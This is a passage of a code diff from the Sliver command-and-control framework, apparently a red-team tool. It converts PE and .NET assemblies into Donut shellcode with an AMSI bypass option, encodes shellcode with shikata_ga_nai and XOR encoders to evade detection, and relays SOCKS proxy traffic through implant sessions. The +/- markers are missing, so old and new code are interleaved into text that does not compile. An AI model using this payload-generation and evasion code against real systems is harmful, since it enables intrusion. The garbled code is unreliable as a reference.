opts := wasmdonut.GenerateOptions{
Ext: ext,
Args: params,
Class: className,
Method: method,
Arch: donutArch,
Bypass: donutOpts.bypass,
Headers: donutOpts.headers,
Entropy: donutOpts.entropy,
Compress: donutOpts.compress,
ExitOpt: donutOpts.exitOpt,
Thread: donutOpts.thread,
Unicode: donutOpts.unicode,
OEP: donutOpts.oep,
}
return getDonut(pe, &config)
result, err := wasmdonut.Generate(context.Background(), pe, ext, opts)
if err != nil {
return nil, err
}
return addStackCheck(result.Loader), nil
}
type donutOptions struct {
entropy int
compress int
exitOpt int
bypass int
headers int
thread bool
unicode bool
oep uint32
}
func normalizeDonutConfig(config *clientpb.DonutConfig, fallbackThread bool, fallbackUnicode bool) donutOptions {
opts := donutOptions{
entropy: defaultDonutEntropy,
compress: defaultDonutCompress,
exitOpt: defaultDonutExitOpt,
bypass: defaultDonutBypass,
headers: defaultDonutHeaders,
thread: fallbackThread,
unicode: fallbackUnicode,
}
if config == nil {
return opts
}
if config.Entropy >= 1 && config.Entropy <= 3 {
opts.entropy = int(config.Entropy)
}
if config.Compress >= 1 && config.Compress <= 2 {
opts.compress = int(config.Compress)
}
if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
opts.exitOpt = int(config.ExitOpt)
}
if config.Bypass >= 1 && config.Bypass <= 3 {
opts.bypass = int(config.Bypass)
}
if config.Headers >= 1 && config.Headers <= 2 {
opts.headers = int(config.Headers)
}
opts.thread = config.Thread
opts.unicode = config.Unicode
if config.OEP > 0 {
opts.oep = config.OEP
}
return opts
}
// DonutFromAssembly - Generate a donut shellcode from a .NET assembly
func DonutFromAssembly(assembly []byte, isDLL bool, arch string, params string, method string, className string, appDomain string) ([]byte, error) {
func DonutFromAssembly(assembly []byte, isDLL bool, arch string, params string, method string, className string, appDomain string, runtime string) ([]byte, error) {
ext := ".exe"
if isDLL {
ext = ".dll"
}
donutArch := getDonutArch(arch)
config := donut.DefaultConfig()
config.Bypass = 3
config.Runtime = "v4.0.30319" // we might want to make this configurable
config.Format = 1
config.Arch = donutArch
config.Class = className
config.Parameters = params
config.Domain = appDomain
config.Method = method
config.Entropy = 3
config.Unicode = 0
config.Type = getDonutType(ext, true)
return getDonut(assembly, config)
opts := wasmdonut.GenerateOptions{
Ext: ext,
Args: params,
Class: className,
Method: method,
Domain: appDomain,
Runtime: runtime,
Arch: donutArch,
Entropy: wasmdonut.DonutEntropyDefault,
Compress: defaultDonutCompress,
ExitOpt: defaultDonutExitOpt,
}
result, err := wasmdonut.Generate(context.Background(), assembly, ext, opts)
if err != nil {
return nil, err
}
return addStackCheck(result.Loader), nil
}
func getDonut(data []byte, config *donut.DonutConfig) (shellcode []byte, err error) {
buf := bytes.NewBuffer(data)
res, err := donut.ShellcodeFromBytes(buf, config)
if err != nil {
return
func getDonutArch(arch string) int {
donutArch := wasmdonut.DonutArchX84
switch strings.ToLower(arch) {
case "x32", "386":
donutArch = wasmdonut.DonutArchX86
case "x64", "amd64":
donutArch = wasmdonut.DonutArchX64
case "x84":
donutArch = wasmdonut.DonutArchX84
}
shellcode = res.Bytes()
return donutArch
}
func addStackCheck(shellcode []byte) []byte {
stackCheckPrologue := []byte{
// Check stack is 8 byte but not 16 byte aligned or else errors in LoadLibrary
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
}
shellcode = append(stackCheckPrologue, shellcode...)
return
}
func getDonutArch(arch string) donut.DonutArch {
var donutArch donut.DonutArch
switch strings.ToLower(arch) {
case "x32", "386":
donutArch = donut.X32
case "x64", "amd64":
donutArch = donut.X64
case "x84":
donutArch = donut.X84
default:
donutArch = donut.X84
}
return donutArch
}
func getDonutType(ext string, dotnet bool) donut.ModuleType {
var donutType donut.ModuleType
switch strings.ToLower(filepath.Ext(ext)) {
case ".exe", ".bin":
if dotnet {
donutType = donut.DONUT_MODULE_NET_EXE
} else {
donutType = donut.DONUT_MODULE_EXE
}
case ".dll":
if dotnet {
donutType = donut.DONUT_MODULE_NET_DLL
} else {
donutType = donut.DONUT_MODULE_DLL
}
case ".xsl":
donutType = donut.DONUT_MODULE_XSL
case ".js":
donutType = donut.DONUT_MODULE_JS
case ".vbs":
donutType = donut.DONUT_MODULE_VBS
}
return donutType
return append(stackCheckPrologue, shellcode...)
}
+20
View File
@@ -60,6 +60,26 @@ func (rpc *Server) Shell(ctx context.Context, req *sliverpb.ShellReq) (*sliverpb
return shell, nil
}
// ShellResize - Resize a shell PTY (best effort)
func (rpc *Server) ShellResize(ctx context.Context, req *sliverpb.ShellResizeReq) (*commonpb.Empty, error) {
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
}
if core.Tunnels.Get(req.TunnelID) == nil {
return &commonpb.Empty{}, nil
}
reqData, err := proto.Marshal(req)
if err != nil {
return nil, rpcError(err)
}
_, err = session.Request(sliverpb.MsgNumber(req), rpc.getTimeout(req), reqData)
if err != nil {
return nil, rpcError(err)
}
return &commonpb.Empty{}, nil
}
// RunSSHCommand runs a SSH command using the client built into the implant
func (rpc *Server) RunSSHCommand(ctx context.Context, req *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
resp := &sliverpb.SSHCommand{Response: &commonpb.Response{}}
+128 -18
View File
@@ -21,33 +21,84 @@ package rpc
import (
"context"
"fmt"
"sort"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/server/sgn"
"github.com/bishopfox/sliver/server/encoders/shellcode"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
)
var shellcodeEncoderNames = map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}
var shellcodeEncoderEnums = map[string]clientpb.ShellcodeEncoder{
"shikata_ga_nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
"xor": clientpb.ShellcodeEncoder_XOR,
"xor_dynamic": clientpb.ShellcodeEncoder_XOR_DYNAMIC,
}
// ShellcodeEncode - Encode a piece shellcode
func (rpc *Server) ShellcodeEncoder(ctx context.Context, req *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) {
resp := &clientpb.ShellcodeEncode{Response: &commonpb.Response{}}
var err error
switch req.Encoder {
case clientpb.ShellcodeEncoder_SHIKATA_GA_NAI:
rpcLog.Infof("[rpc] Shellcode encoder request for: SHIKATA_GA_NAI")
rpcLog.Infof("[rpc] Encoding shellcode (%d bytes) for architecture %s with %d iterations and badchars: %v", len(req.Data), req.Architecture, req.Iterations, req.BadChars)
resp.Data, err = sgn.EncodeShellcode(req.Data, req.Architecture, int(req.Iterations), req.BadChars)
if err != nil {
rpcLog.Errorf("[rpc] Failed to encode shellcode: %v", err)
return nil, status.Error(codes.Internal, fmt.Sprintf("Failed to encode shellcode (%s)", err))
}
default:
resp.Response.Err = "Unknown encoder"
if req == nil {
return nil, status.Error(codes.InvalidArgument, "missing request")
}
if req.Encoder == clientpb.ShellcodeEncoder_NONE {
resp.Data = req.Data
return resp, nil
}
encoderName, ok := shellcodeEncoderNames[req.Encoder]
if !ok {
resp.Response.Err = "Unknown encoder"
return resp, nil
}
arch := normalizeShellcodeArch(req.Architecture)
if arch == "" {
arch = defaultShellcodeArch(encoderName)
}
if arch == "" {
resp.Response.Err = "Unknown architecture"
return resp, nil
}
encoderArchs := shellcode.ShellcodeEncoders[arch]
if encoderArchs == nil {
resp.Response.Err = fmt.Sprintf("Unknown architecture: %s", arch)
return resp, nil
}
encoder := encoderArchs[encoderName]
if encoder == nil {
resp.Response.Err = fmt.Sprintf("Encoder %s not supported for architecture %s", encoderName, arch)
return resp, nil
}
iterations := int(req.Iterations)
if iterations <= 0 {
iterations = 1
}
rpcLog.Infof("[rpc] Shellcode encoder request for: %s (%s)", encoderName, arch)
rpcLog.Infof("[rpc] Encoding shellcode (%d bytes) for architecture %s with %d iterations and badchars: %v", len(req.Data), arch, iterations, req.BadChars)
encoded, err := encoder.Encode(req.Data, shellcode.ShellcodeEncoderArgs{
Iterations: iterations,
BadChars: req.BadChars,
})
if err != nil {
rpcLog.Errorf("[rpc] Failed to encode shellcode: %v", err)
return nil, status.Error(codes.Internal, fmt.Sprintf("Failed to encode shellcode (%s)", err))
}
resp.Data = encoded
rpcLog.Infof("[rpc] Successfully encoded shellcode (%d bytes)", len(resp.Data))
return resp, nil
@@ -56,10 +107,69 @@ func (rpc *Server) ShellcodeEncoder(ctx context.Context, req *clientpb.Shellcode
// ShellcodeEncoderMap - Get a map of support shellcode encoders <human readable/enum>
func (rpc *Server) ShellcodeEncoderMap(ctx context.Context, _ *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error) {
resp := &clientpb.ShellcodeEncoderMap{
Encoders: map[string]clientpb.ShellcodeEncoder{
// Human Readable: enum value
"shikata-ga-nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
},
Encoders: map[string]*clientpb.ShellcodeEncoderArchMap{},
}
arches := make([]string, 0, len(shellcode.ShellcodeEncoders))
for arch := range shellcode.ShellcodeEncoders {
arches = append(arches, arch)
}
sort.Strings(arches)
for _, arch := range arches {
encoderMap := shellcode.ShellcodeEncoders[arch]
if encoderMap == nil {
continue
}
resp.Encoders[arch] = &clientpb.ShellcodeEncoderArchMap{
Encoders: map[string]clientpb.ShellcodeEncoder{},
Descriptions: map[string]string{},
}
names := make([]string, 0, len(encoderMap))
for name := range encoderMap {
names = append(names, name)
}
sort.Strings(names)
for _, name := range names {
if enumVal, ok := shellcodeEncoderEnums[name]; ok {
resp.Encoders[arch].Encoders[name] = enumVal
}
resp.Encoders[arch].Descriptions[name] = encoderMap[name].Description()
}
}
return resp, nil
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
default:
return normalized
}
}
func defaultShellcodeArch(encoderName string) string {
var candidates []string
for arch, encoderMap := range shellcode.ShellcodeEncoders {
if _, ok := encoderMap[encoderName]; ok {
candidates = append(candidates, arch)
}
}
if len(candidates) == 1 {
return candidates[0]
}
for _, arch := range candidates {
if arch == "amd64" {
return arch
}
}
if len(candidates) > 0 {
sort.Strings(candidates)
return candidates[0]
}
return ""
}
+322 -50
View File
@@ -20,8 +20,11 @@ package rpc
import (
"context"
"fmt"
"io"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
@@ -32,15 +35,16 @@ import (
var (
// SessionID->Tunnels[TunnelID]->Tunnel->Cache map[uint64]*sliverpb.SocksData{}
toImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}}
toImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}, lastActivity: map[uint64]time.Time{}}
// SessionID->Tunnels[TunnelID]->Tunnel->Cache
fromImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}}
fromImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}, lastActivity: map[uint64]time.Time{}}
)
type socksDataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.SocksData
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.SocksData
lastActivity map[uint64]time.Time
}
func (c *socksDataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.SocksData) {
@@ -72,6 +76,7 @@ func (c *socksDataCache) DeleteTun(tunnelID uint64) {
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
delete(c.lastActivity, tunnelID)
}
func (c *socksDataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
@@ -85,69 +90,299 @@ func (c *socksDataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
delete(c.cache[tunnelID], sequence)
}
func (c *socksDataCache) recordActivity(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
c.lastActivity[tunnelID] = time.Now()
}
// Socks - Open an in-band port forward
const (
writeTimeout = 5 * time.Second
batchSize = 100 // Maximum number of sequences to batch
inactivityCheckInterval = 4 * time.Second
inactivityTimeout = 15 * time.Second
ToImplantTickerInterval = 10 * time.Millisecond // data going towards implant is usually smaller request data
ToClientTickerInterval = 5 * time.Millisecond // data coming back from implant is usually larger response data
)
func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
errChan := make(chan error, 2)
defer close(errChan)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
connDone := make(chan struct{})
defer close(connDone)
// Track all goroutines spawned for this session
var wg sync.WaitGroup
defer wg.Wait()
// Track all tunnels created for this session
activeTunnels := make(map[uint64]bool)
var tunnelMutex sync.Mutex
// Cleanup all tunnels on SocksProxy closure
defer func() {
tunnelMutex.Lock()
for tunnelID := range activeTunnels {
if tunnel := core.SocksTunnels.Get(tunnelID); tunnel != nil {
rpcLog.Infof("Cleaning up tunnel %d on proxy closure", tunnelID)
close(tunnel.FromImplant)
tunnel.Client = nil
s.CloseSocks(context.Background(), &sliverpb.Socks{TunnelID: tunnelID})
}
}
tunnelMutex.Unlock()
}()
for {
select {
case err := <-errChan:
rpcLog.Errorf("SocksProxy error: %v", err)
return err
default:
}
fromClient, err := stream.Recv()
if err == io.EOF {
break
return nil
}
//fmt.Println("Send Agent 1 ",fromClient.TunnelID,len(fromClient.Data))
if err != nil {
rpcLog.Warnf("Error on stream recv %s", err)
return rpcError(err)
}
tunnelLog.Debugf("Tunnel %d: From client %d byte(s)",
fromClient.TunnelID, len(fromClient.Data))
socks := core.SocksTunnels.Get(fromClient.TunnelID)
if socks == nil {
return nil
tunnelMutex.Lock()
activeTunnels[fromClient.TunnelID] = true // Mark this as an active tunnel
tunnelMutex.Unlock()
tunnel := core.SocksTunnels.Get(fromClient.TunnelID)
if tunnel == nil {
continue
}
if socks.Client == nil {
socks.Client = stream // Bind client to tunnel
// Send Client
go func() {
for tunnelData := range socks.FromImplant {
fromImplantCacheSocks.Add(fromClient.TunnelID, tunnelData.Sequence, tunnelData)
if tunnel.Client == nil {
tunnel.Client = stream
tunnel.FromImplant = make(chan *sliverpb.SocksData, 100) // Buffered channel for 100 messages
for recv, ok := fromImplantCacheSocks.Get(fromClient.TunnelID, socks.FromImplantSequence); ok; recv, ok = fromImplantCacheSocks.Get(fromClient.TunnelID, socks.FromImplantSequence) {
rpcLog.Debugf("[socks] agent to (Server To Client) Data Sequence %d , Data Size %d ,Data %v\n", socks.FromImplantSequence, len(recv.Data), recv.Data)
socks.Client.Send(&sliverpb.SocksData{
CloseConn: recv.CloseConn,
TunnelID: recv.TunnelID,
Data: recv.Data,
})
fromImplantCacheSocks.DeleteSeq(fromClient.TunnelID, socks.FromImplantSequence)
socks.FromImplantSequence++
// Monitor tunnel goroutines for inactivity and cleanup
wg.Add(1)
go func(tunnelID uint64) {
defer wg.Done()
defer func() {
if r := recover(); r != nil {
rpcLog.Errorf("Recovered from panic in monitor: %v", r)
errChan <- fmt.Errorf("monitor goroutine panic: %v", r)
cancel() // Cancel context in case of a panic
}
}()
ticker := time.NewTicker(inactivityCheckInterval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-connDone:
return
case <-ticker.C:
tunnel := core.SocksTunnels.Get(tunnelID)
if tunnel == nil || tunnel.Client == nil {
return
}
session := core.Sessions.Get(tunnel.SessionID)
// Check both caches for activity
toImplantCacheSocks.mutex.RLock()
fromImplantCacheSocks.mutex.RLock()
toLastActivity := toImplantCacheSocks.lastActivity[tunnelID]
fromLastActivity := fromImplantCacheSocks.lastActivity[tunnelID]
toImplantCacheSocks.mutex.RUnlock()
fromImplantCacheSocks.mutex.RUnlock()
// Clean up goroutine if both directions have hit the idle threshold
if time.Since(toLastActivity) > inactivityTimeout && time.Since(fromLastActivity) > inactivityTimeout {
s.CloseSocks(context.Background(), &sliverpb.Socks{TunnelID: tunnelID})
return
}
// Clean up goroutine if the client has disconnected early
if tunnel.Client == nil || session == nil {
s.CloseSocks(context.Background(), &sliverpb.Socks{TunnelID: tunnelID})
return
}
}
}
}(fromClient.TunnelID)
// Send Client
wg.Add(1)
go func() {
defer wg.Done()
defer func() {
if r := recover(); r != nil {
rpcLog.Errorf("Recovered from panic in client sender: %v", r)
errChan <- fmt.Errorf("client sender panic: %v", r)
cancel() // Cancel context in case of a panic
}
}()
pendingData := make(map[uint64]*sliverpb.SocksData)
ticker := time.NewTicker(ToClientTickerInterval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-connDone:
return
case tunnelData, ok := <-tunnel.FromImplant:
if !ok {
return
}
// Check if implant is requesting to close the tunnel
if tunnelData.CloseConn {
// Clean up the tunnel
s.CloseSocks(context.Background(), &sliverpb.Socks{TunnelID: fromClient.TunnelID})
return
}
sequence := tunnelData.Sequence
fromImplantCacheSocks.Add(fromClient.TunnelID, sequence, tunnelData)
pendingData[sequence] = tunnelData
fromImplantCacheSocks.recordActivity(fromClient.TunnelID)
case <-ticker.C:
if tunnel.Client == nil {
return
}
if len(pendingData) == 0 {
continue
}
expectedSequence := atomic.LoadUint64(&tunnel.FromImplantSequence)
processed := 0
// Perform Batching
for i := 0; i < batchSize && processed < len(pendingData); i++ {
data, exists := pendingData[expectedSequence]
if !exists {
break // Stop batching if we don't have the next expected sequence
}
func() {
defer func() {
if r := recover(); r != nil {
errChan <- fmt.Errorf("Client sender panic: %v", r)
}
}()
err := stream.Send(&sliverpb.SocksData{
CloseConn: data.CloseConn,
TunnelID: data.TunnelID,
Data: data.Data,
})
if err != nil {
rpcLog.Errorf("Send error: %v", err)
return
}
delete(pendingData, expectedSequence)
fromImplantCacheSocks.DeleteSeq(fromClient.TunnelID, expectedSequence)
atomic.AddUint64(&tunnel.FromImplantSequence, 1)
expectedSequence++
processed++
}()
}
}
}
}()
// Send Agent
wg.Add(1)
go func() {
defer wg.Done()
defer func() {
if r := recover(); r != nil {
rpcLog.Errorf("Recovered from panic in agent sender: %v", r)
errChan <- fmt.Errorf("agent sender panic: %v", r)
cancel() // Cancel context in case of a panic
}
}()
pendingData := make(map[uint64]*sliverpb.SocksData)
ticker := time.NewTicker(ToImplantTickerInterval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-connDone:
return
case <-ticker.C:
if tunnel.Client == nil {
return
}
sequence := atomic.LoadUint64(&tunnel.ToImplantSequence)
func() {
defer func() {
if r := recover(); r != nil {
rpcLog.Errorf("Recovered from processing panic: %v", r)
}
}()
for {
recv, ok := toImplantCacheSocks.Get(fromClient.TunnelID, sequence)
if !ok {
break
}
session := core.Sessions.Get(fromClient.Request.SessionID)
if session == nil {
rpcLog.Error("Session not found")
break
}
data, err := proto.Marshal(recv)
if err != nil {
rpcLog.Errorf("Failed to marshal data: %v", err)
continue
}
select {
case session.Connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}:
toImplantCacheSocks.DeleteSeq(fromClient.TunnelID, sequence)
atomic.AddUint64(&tunnel.ToImplantSequence, 1)
sequence++
case <-time.After(writeTimeout):
rpcLog.Error("Write timeout to implant")
pendingData[sequence] = recv
break
}
}
}()
}
}
}()
}
// Send Agent
go func() {
toImplantCacheSocks.Add(fromClient.TunnelID, fromClient.Sequence, fromClient)
for recv, ok := toImplantCacheSocks.Get(fromClient.TunnelID, socks.ToImplantSequence); ok; recv, ok = toImplantCacheSocks.Get(fromClient.TunnelID, socks.ToImplantSequence) {
rpcLog.Debugf("[socks] Client to (Server To Agent) Data Sequence %d , Data Size %d \n", socks.ToImplantSequence, len(fromClient.Data))
data, _ := proto.Marshal(recv)
session := core.Sessions.Get(fromClient.Request.SessionID)
session.Connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
toImplantCacheSocks.DeleteSeq(fromClient.TunnelID, socks.ToImplantSequence)
socks.ToImplantSequence++
}
}()
toImplantCacheSocks.Add(fromClient.TunnelID, fromClient.Sequence, fromClient)
}
return nil
}
// CreateSocks5 - Create requests we close a Socks
@@ -169,11 +404,48 @@ func (s *Server) CreateSocks(ctx context.Context, req *sliverpb.Socks) (*sliverp
// CloseSocks - Client requests we close a Socks
func (s *Server) CloseSocks(ctx context.Context, req *sliverpb.Socks) (*commonpb.Empty, error) {
err := core.SocksTunnels.Close(req.TunnelID)
defer func() {
if r := recover(); r != nil {
rpcLog.Errorf("Recovered from panic in CloseSocks for tunnel %d: %v", req.TunnelID, r)
}
}()
tunnel := core.SocksTunnels.Get(req.TunnelID)
if tunnel != nil {
// Signal close to implant first
if session := core.Sessions.Get(tunnel.SessionID); session != nil {
data, _ := proto.Marshal(&sliverpb.SocksData{
TunnelID: req.TunnelID,
CloseConn: true,
})
session.Connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
}
time.Sleep(100 * time.Millisecond) // Delay to allow close message to be sent
tunnel.Client = nil // Cleanup the tunnel
if tunnel.FromImplant != nil {
select {
case _, ok := <-tunnel.FromImplant:
if ok {
close(tunnel.FromImplant)
}
default:
close(tunnel.FromImplant)
}
tunnel.FromImplant = nil
}
}
// Clean up caches
toImplantCacheSocks.DeleteTun(req.TunnelID)
fromImplantCacheSocks.DeleteTun(req.TunnelID)
if err != nil {
return nil, rpcError(err)
// Remove from core tunnels last
if err := core.SocksTunnels.Close(req.TunnelID); err != nil {
rpcLog.Errorf("Error closing tunnel %d: %v", req.TunnelID, err)
}
return &commonpb.Empty{}, nil
}
+4 -3
View File
@@ -38,7 +38,7 @@ import (
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/sgn"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
"github.com/bishopfox/sliver/util"
"google.golang.org/grpc/codes"
@@ -202,6 +202,7 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
req.Method,
req.ClassName,
req.AppDomain,
req.Runtime,
)
if err != nil {
tasksLog.Errorf("Execute assembly failed: %s", err)
@@ -266,7 +267,7 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
}
if getOS(session, beacon) == "windows" {
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, strings.Join(req.Args, " "), "", req.EntryPoint, req.IsDLL, req.IsUnicode, false)
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, strings.Join(req.Args, " "), "", req.EntryPoint, req.IsDLL, req.IsUnicode, false, nil)
if err != nil {
tasksLog.Errorf("Sideload failed: %s", err)
return nil, status.Error(codes.InvalidArgument, err.Error())
@@ -372,7 +373,7 @@ func getSliverShellcode(name string) ([]byte, string, error) {
if err != nil {
return []byte{}, "", err
}
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false)
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false, config.DonutConfig)
if err != nil {
rpcLog.Errorf("DonutShellcodeFromPE error: %v\n", err)
return []byte{}, "", err
+2 -2
View File
@@ -1,9 +1,9 @@
package assets
const (
goVersion = "1.25.5"
goVersion = "1.25.6"
zigVersion = "0.15.2"
garbleVersion = "1.25.5"
garbleVersion = "1.25.6"
zigSourceParam = "source=sliver"
zigMinisignPublicKey = "RWSGOq2NVecA2UPNdBUZykf1CCb147pkmdtYxgb3Ti+JO/wCYvhbAb/U"
Loaded 100 of 514 files, more files were not shown because too many files have changed in this diff. Show more